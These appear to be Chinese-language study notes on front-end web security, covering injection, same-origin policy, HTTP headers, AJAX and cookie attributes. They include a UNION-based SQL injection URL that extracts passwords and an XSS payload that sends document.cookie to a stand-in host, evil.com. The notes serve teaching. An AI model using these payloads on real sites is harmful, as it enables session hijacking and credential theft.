一.概念解析
1. 注入攻击:当正常的数据内容被注入指令内容,在解释的过程中,如果注入的指令能够被 独立执行,那么攻击就发生了。
2.SQL注入攻击:用户输入提交一段数据库查询代码,获取信息
如下语句,id来自http://www.foo.com/user.php?id=1 中用户传来的id
select username,email,desc from users where id=1;
若将链接参数改为http://www.foo.com/user.php?id=1 union select password,1,1 from users
则SQL查询语句变为
select username,email,desc from users where id=1 union select password,1,1 from users
用户密码会有泄露的风险!
3.XSS:跨站脚本攻击,在web页面里插入恶意Script代码并执行
eval(‘new Image().src=”http://www.evil.com/steal.php?c=”+escape(document. cookie)’)
会在点击图片后将本站cookie信息传到另一网站
4.同源策略:不同域的客户端脚本在没明确授权的情况下,不能读写对方的资源。
授权:AJAX默认不允许跨域访问,只有目标站点(假如是 http://www.foo.com)明确返回 HTTP 响应头:
Access-Control-Allow-Origin: http://www.evil.com
资源:一般指Web 客户端的资源,包括:HTTP 消息头、整个 DOM 树、浏览器存储(如: Cookies、Flash Cookies、localStorage 等)
二.前端基础
1.URL
url存在类编码方式:escape、encodeURI、encodeURIComponent,
对应解码方式:unescape、decodeURI、decodeURIComponent
2.http协议
请求头
GET http://www.foo.com/ HTTP/1.1
Host: www.foo.com
Connection: keep-alive
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.19 (KHTML, like
Gecko) Chrome/18.0.1025.3 Safari/535.19
Referer: http://www.baidu.com/
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: SESSIONID=58AB420B1D8B800526ACCCAA83A827A3:FG=1
响应头
HTTP/1.1 200 OK
Date: Sun, 04 Mar 2012 22:48:31 GMT
Server: Apache/2.2.8 (Win32) PHP/5.2.6
Set-Cookie: PTOKEN=; expires=Mon, 01 Jan 1970 00:00:00 GMT; path=/;
domain=.foo.com; HttpOnly
Set-Cookie: USERID=c7888882e039b32fd7b4d3; expires=Tue, 01 Jan 2030
00:00:00 GMT; path=/; domain=.foo.com
X-Powered-By: PHP/5.2.6
Content-Length: 3635
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=gbk
3.iframe 父页与子页资源访问
父子页面 可访问contentWindow得到彼此window对象,操作dom元素,子页面对父页面location有写权限
4.js的可执行情景
能够执行 JavaScript 的位置越多,意味着 XSS 发 生的面也越广,XSS 漏洞出现的可能性也越大
5.ajax安全
AJAX 是严格遵守同源策略的,既不能从另一个域读取数据,也不能发送数据到另一 个域。除非目标域名设置
Access-Control-Allow-Origin: http://www.foo.com
可以通过ajax或者from表单提交,模拟用户请求
6.cookie安全
(1)子域
domain 的值,默认就是本域。
可以指定 domain 为父级域,比如:
document.cookie=”test=1;domain=foo.com”;
不允许 设置 Cookie 的 domain 为下一级子域或其他外域
(2)路径
不同路径下的cookie可以通过跨 iframe 进行 DOM 操作实现
(3)httpOnly
设置了httpOnly后客户端无法读取cookie值,只有极少数的情况会发生泄漏。
(4)secure
Secure Cookie 机制指的是设置了 Secure 标志的 Cookie 仅在 HTTPS 层面上安全传输, 如果请求是 HTTP 的,就不会带上这个 Cookie。但其对客户端脚本可读写
document.cookie=”test_secure=hijack;path=/;secure;”
(5)本地cookie与内存cookie
与过期时间(Cookie 的 expires 字段)相关,没有设置的会在会话关闭后消失(待确定)
(6)P3P性质
(1)内容被渲染之前,均转化为字符串
(2)格式化escapes值